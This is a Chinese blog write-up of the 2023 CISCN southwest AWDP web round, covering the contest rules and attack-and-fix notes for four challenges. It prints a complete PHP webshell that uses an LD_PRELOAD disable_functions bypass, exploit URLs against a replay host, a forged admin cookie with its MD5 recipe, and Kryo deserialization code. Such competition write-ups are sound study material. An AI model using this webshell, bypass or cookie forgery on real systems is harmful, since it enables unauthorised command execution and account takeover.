2023CISCN西南复赛AWDPlus Web(附上了当时lotus ak所有pwn题的exp和patch脚本附件的链接)

前言

可惜,这一次还是没能赢下所有😔😔😔,只打了二十多名,连二等奖都没有,不知道我还有没有下一届国赛了。

赛制

说实话这个赛制还是比之前想象的好一点的,虽然是线下断网的,但每个题都会给你源码,相当于白盒。首先,主办方会给你一个ftp让你连到服务器上,你可以传一个update.tar.gz,里面应当包含一个文件,还有一个update.sh,然后这个update.sh里面就是你要执行的命令,这里的修复主要讲的就是你用修改了的文件替换原有题目的文件,然后update.sh的内容比如就是:

#!/bin/bash

cp index.php /var/www/html/index.php

路径啥的主办方是会给你的,打包命令就是:

tar zcvf update.tar.gz update.sh file1 file2

然后你上传上去后,你可以选择某个题目,然后申请防御,他会让你填你上传那个patch包的名字,比如update.tar.gz,然后主办方会自动解包然后运行你的update.sh,等待大概三十秒看主办方的exp是否利用成功,你是否成功防御。我之前担心过有些服务比如go呀、java啊、js啊,不但要替换文件,还要kill然后重启服务,这次比赛主办方是自动帮你重启的,所以你要做的就只用修改文件,写一个替换文件的update.sh,打包,上传即可,这一点还是蛮好的。

然后我们当时每道题目有15次申请防御的机会,10次恢复题目环境的机会,每一轮是20分钟,无论防守成功还是攻击成功每一轮都可以加分,每个题满分是500分,如果一轮没队做出来会逐渐加分,做出来的队多了的话也是ctf那种累减模式,相当于主办方帮你跑脚本的awd了,还是比awd舒服一点的,然后攻击的话他是你们团队页面有个提交flag的地方,你某个题打通了拿到flag提交过去就行了。

说实话,打awdp防守还是比攻击重要多了,这次比赛好多题都是零解,没队伍攻击成功防守成功的队多,然后就是要拼手速,毕竟手速快多得一轮分,而且题目解少的话分高,几轮打完后面的队就很难追上去了。这次很多题都是多解题,你要修复多个漏洞才能修复成功,这一点还是比较恶心的。

这次比赛给我最大的教训就是不要怕删功能,后面听了冠军队的分享,其实大伙的修复思路都差不多,就是删功能就行了,啥功能危险就给他注释了,越低能越好,千万不要想难了,你也不要怕会不会服务异常,服务异常是要二十分钟结束一轮完了才会扣分,你大不了重置靶机就行了,反正申请防御的次数和重置靶机的次数本来就差不多,根本不用担心扣分,二十分钟怎么都来得及。可惜之前博客写的很多waf都没用上,这次更多时候都是随机应变,找漏洞点然后注释。

do_you_like_read

一个低能php题,纯纯签到,被我一下秒了。

break(>40队解出)

一扫就出了个后门:

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

本来还以为要劫持LD_PRELOAD啥的,心里还窃喜之前做了好多劫持题,结果第一轮完了发现自己当时打ctfshow那个笔记没保存到本地,但第一轮完了我发现那个下载的源码里本来就有so文件,所以你就按照那个给的示例:

http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

就可以直接执行命令了,然后ls /一下发现根目录有一个flag,但没权限读,然后看到有个readflag,运行这个就拿到flag了。

nss上有复现环境,不过他那个路径在/app/下,然后flag在env里,注意一下即可

http://node4.anna.nssctf.cn:28716/bootstrap/test/bypass_disablefunc.php?cmd=env&outpath=/tmp/xx&sopath=/app/bootstrap/test/bypass_disablefunc_x64.so

fix(>40队解出)

上面那个漏洞点当然是最明显的,注释了就行了,然后这个题还有其他漏洞点,首先是一个文件上传:

这里是个黑名单,只对php,phtml,php5,php3后缀的文件做了替换,把后缀换成了jpg,然后就不管其他文件了,怎么看都有问题,把这里改成白名单就行了。然后还有个地方:

这里ship是可控的,可能有变量覆盖的漏洞,但我当时也没想到到底咋利用,但注释了之后申请防御就过了,之前只改那个后门和文件上传没防御成功,所以可能这里确实有点什么漏洞啥的,后面也没细看了。

pollute

一个原型链污染的题。

break(0解)

虽然一眼原型链污染,但真没找到啥漏洞点rce

#app.js
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var session = require('express-session');
var randomize = require('randomatic');
var logger = require('morgan');
var sqlite3 = require("sqlite3")
var utils = require('./utils');

var app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'twig');

app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));

// init database
const db = new sqlite3.Database('database.db', (error) => {
  if (error) {
    console.error('Database connection failed:', error);
  } else {
    console.log('Connected to the SQLite database.');
  }
});

// start session
app.use(session({
  name: 'thejs.session',
  secret: randomize('GAME', 16),
  resave: true,
  saveUninitialized: true
}))

app.get('/', utils.checkSignIn, function(req, res, next) {
  return res.redirect('/home');
});

app.all('/login',function(req,res,next){
  if(req.method == "GET"){
    return res.render('login', { title: 'Login' });
  }
  if(req.method == "POST"){
    var username = req.body.username;
    var password = req.body.password;
    password = utils.md5(password)
    db.all("SELECT * FROM users WHERE username=? AND password=?",[username,password],function(err,result){
      if(err){
        console.error(err);
        return res.send("<script>alert('Error!');window.location.href='/register'</script>");
      }else{
        if(result.length === 0){
          return res.end("<script>alert('username or password wrong!');window.location.href='/'</script>");
        }
        result = result[0]
        if(result.username == username && result.password == password){
          req.session.username = result.username;
          return res.end("<script>alert('Login success!');window.location.href='/'</script>");
        }
      }
    })
  }
})

app.all('/register', function(req, res, next) {
  if(req.method == 'GET') {
    return res.render('register', { title: 'register' });
  }

  if(req.method == "POST") {
    var username = req.body.username;
    var password = req.body.password;

    if (username !== undefined && password !== undefined) {
      db.get("SELECT * FROM users WHERE username=?", [username], function(err, row) {
        if(err){
          console.error(err)
          return res.send("<script>alert('Error!');window.location.href='/register'</script>");
        }else{
          if (row && row.username !== undefined){
            return res.send("<script>alert('User already exists.');window.location.href='/register'</script>");
          }else{
            let query = `INSERT INTO users (username, password) VALUES ('${username}', '${utils.md5(password)}')`;
            db.run(query,function(err){
              if(err){
                console.error(err)
                return res.send("<script>alert('Error!');window.location.href='/register'</script>");
              }else{
                return res.send("<script>alert('Register successed');window.location.href='/login'</script>");
              }
            })
          }
        }
      });
    }
  }
});

app.all("/home",utils.checkSignIn,function(req,res,next){
    return res.render('home',{'username':req.session.username})
})

app.all("/admin",utils.checkIsAdmin,function(req,res,next){
  if(req.method == "GET"){
    return res.render('home',{'username':req.session.username})
  }
  if(req.method == "POST"){
    var Info ={
      "username":"admin",
      "message":"Try2HackMe!"
    }
    try{
      utils.extend(Info, req.body);
      return res.render('admin', {"username": Info.username, "message": Info.message});
    }catch(err){
      return res.send("<script>alert('Error!');window.location.href='/admin'</script>");
    }
  }
})

// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

var server = app.listen(80, function () {

  var host = server.address().address
  var port = server.address().port

  console.log("http://%s:%s", host, port)
});

#utils.js
var crypto = require('crypto');

class Utils {

    static checkSignIn(req, res, next) {
        if (req.session.username === undefined || req.session.username === null) {
            return res.redirect('/login')
        }
        next();
    };
    static checkIsAdmin(req, res, next){
        if (req.session.username !== "admin"){
            return res.send("<script>alert('You are not Admin!');window.location.href='/home'</script>");
        }
        next();
    }

    static filter(str){
        if(/union|and|&|\|| |,|regexp|limit|sleep|lpad|rpad|if|ascii|order|substr|\'|>|<|min|left|like|=|\^|update/.test(str)) {
            return false;
        }
    };

    static md5(str) {
        var md5sum = crypto.createHash('md5');
        md5sum.update(str);
        str = md5sum.digest('hex');
        return str;
    };

    static extend(target) {
        for (var i = 1; i < arguments.length; i++) {
            var source = arguments[i]
            
            for (var key in source) {
                if (key === '__proto__') {
                    return;
                }
                if (hasOwnProperty.call(source, key)) {
                    if (key in source && key in target) {
                        Utils.extend(target[key], source[key])
                    } else {
                        target[key] = source[key]
                    }
                }
            }
        }
        return target
    }
}

module.exports = Utils;

后面主办方提示register那里有注入,但还是没队做出来

赛后我偶像FFreestanding做出来了,可以看看他的文章:pollute-wp

fix(<20队解出)

这个修复思路就比较传奇了,看冠军队分享,他们是直接把utils.js那里

for (var key in source) {
                if (key === '__proto__') {
                    return;
                }
                if (hasOwnProperty.call(source, key)) {
                    if (key in source && key in target) {
                        Utils.extend(target[key], source[key])
                    } else {
                        target[key] = source[key]
                    }
                }

直接把这里删了。我们下载源码的时候是有数据库的,里面有密码的md5后的密文的,爆了一下发现是123456,我当时想到估计怎么都要登录admin之后才能原型链污染,然后直接写了一个检测,如果发现传入的password里有123456就终止服务,然后就防御成功了🤣🤣🤣🤣当时应该是前五个修复成功的队之一,450分吃了几轮,直到最后这个题也有350分,估计其他队很难想到这种低能的修复思路。

dataapi

蓝天采集器最新版,本地文库里发现v2.3.1有漏洞,但得登进去才行,我们是没有密码的。

break(<3队解出)

看源码的时候能感觉出来后台有很多漏洞,无论是数据采集那里还是插件那里,都能直接和php代码交互,虽然我们有数据库,但里面只有加密过的密文,而他这个加密过程还是蛮复杂的:

/*密码加密*/
	public static function pwd_encrypt($pwd,$salt=''){
		$pwd=sha1($pwd);
		if(!empty($salt)){
			$pwd.=$salt;
		}
		return md5($pwd);
	}
INSERT INTO `api_user` (`uid`, `username`, `password`, `salt`, `groupid`, `email`, `regtime`) VALUES (5, 'admin', '17284aac3da236075c9b01827f60929b', 'pw3WuReAoklFmGjVIdNh', 1, 'admin@admin.com', 1683706207);

我们后面把8位数字爆完了,啥字典都爆了,五位数字加字母也试了,还是没爆破出来,当时本来还想用之前那个思路ban密码修题的,结果发现了ban了之后exp还是能打,所以猜测可能用固定的cookie或者session打的,但确实没想到那个cookie那么低能,唉,后面听了冠军队的分享,这个密码不用爆破,cookie是直接用admin还有加密后的密码随便拼接一下然后构造成的,直接伪造cookie就行了,进了后台用插件rce就行了。

首先看到这里,这儿有个自动登录的逻辑,我们可以控制login_history这个cookie,解析的格式是uid|key

我们再来看到key的生成逻辑:

其实就是直接把数据库存的username和password用:拼接起来,然后md5一下,注意这里是数据库里存的,所以password就是密文,不用暴力破解我们也能成功伪造cookie进入后台。

nss上那个复现环境也是一样的(uid啥的那个数据库里都有,uid是五,然后右边是md5(admin:17284aac3da236075c9b01827f60929b))

login_history=5|c7fef4090adc90785d4c6e5b30ed9de4

在用户那里可以修改密码,修改完之后我们可以发布插件:

相当于我们可以直接编辑/app/plugin/func/process/ShellShell.php的源码,理论上这样就能做了,但是nss这个环境plugin目录没法访问。。。那就不知道有没有其他做法了,另一种上传插件的方法最后的上传路径也是plugin目录下,感觉这个环境复现不出来。

fix(<10队解出)

后台漏洞点太多了,修了好久也没成功,15次机会都完了还是没做出来,唉。

问了下D1no的老哥,他们fix的方法是直接上的watchbird,sh脚本里写这玩意的部署命令就可以了,也就是先把源码了cp,然后加上部署的几个命令写进sh里。

seaclouds

一个java反序列化的题

break(0解)

给了提示是kryo反序列化,还是不会,反正大伙都不会

赛后M1sery做出来了,可以看看他的文章:CISCN2023西南赛区半决赛 seaclouds

fix(<10队解出)

主进程是:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.sea;

import java.util.Base64;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class MessageController {
    public MessageController() {
    }

    @ResponseBody
    @RequestMapping({"/"})
    public Object message(String message) throws Exception {
        byte[] decodemsg;
        if (message == null) {
            decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
        } else {
            try {
                decodemsg = Base64.getDecoder().decode(message);
            } catch (Exception var5) {
                decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
            }
        }

        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
        return messagecode.getPayload();
    }
}
public Object message(String message) throws Exception {
    byte[] decodemsg;
    if (message == null) {
        decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
    } else {
        try {
            decodemsg = Base64.getDecoder().decode(message);
        } catch (Exception var5) {
            decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
        }
    }

    // fix
    String sea = new String(decodemsg);
    if(!sea.contains("com.sea.")){
        return "filtered";
    }
    // fix

    CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
    Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
    return messagecode.getPayload();
}

也就是接受一个base64后的数据然后解码反序列化,修复你就写个函数先base64解一下,如果发现里面有个com.啥啥啥那个恶意类就exit即可。

后记

第一步,沉淀;第二步,那场awdp毁了我的国赛梦;第三步,su的队友,我想你们了😭😭😭

web题目链接:https://pan.baidu.com/s/1kLfFcWSKWP3RXy5vcvlrdA?pwd=1111
提取码:1111
pwn题目链接(来自当时唯一ak+patch所有pwn题的战神lotus,包括patch脚本和exp):
链接:https://pan.baidu.com/s/1UsJ7nX8X_vyDn3d2f-1RpQ?pwd=kmip 
提取码:kmip 

评论

  1. 2年前
    2023-6-18 18:14:23

    希望我们赛区的国赛也是一样情况

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇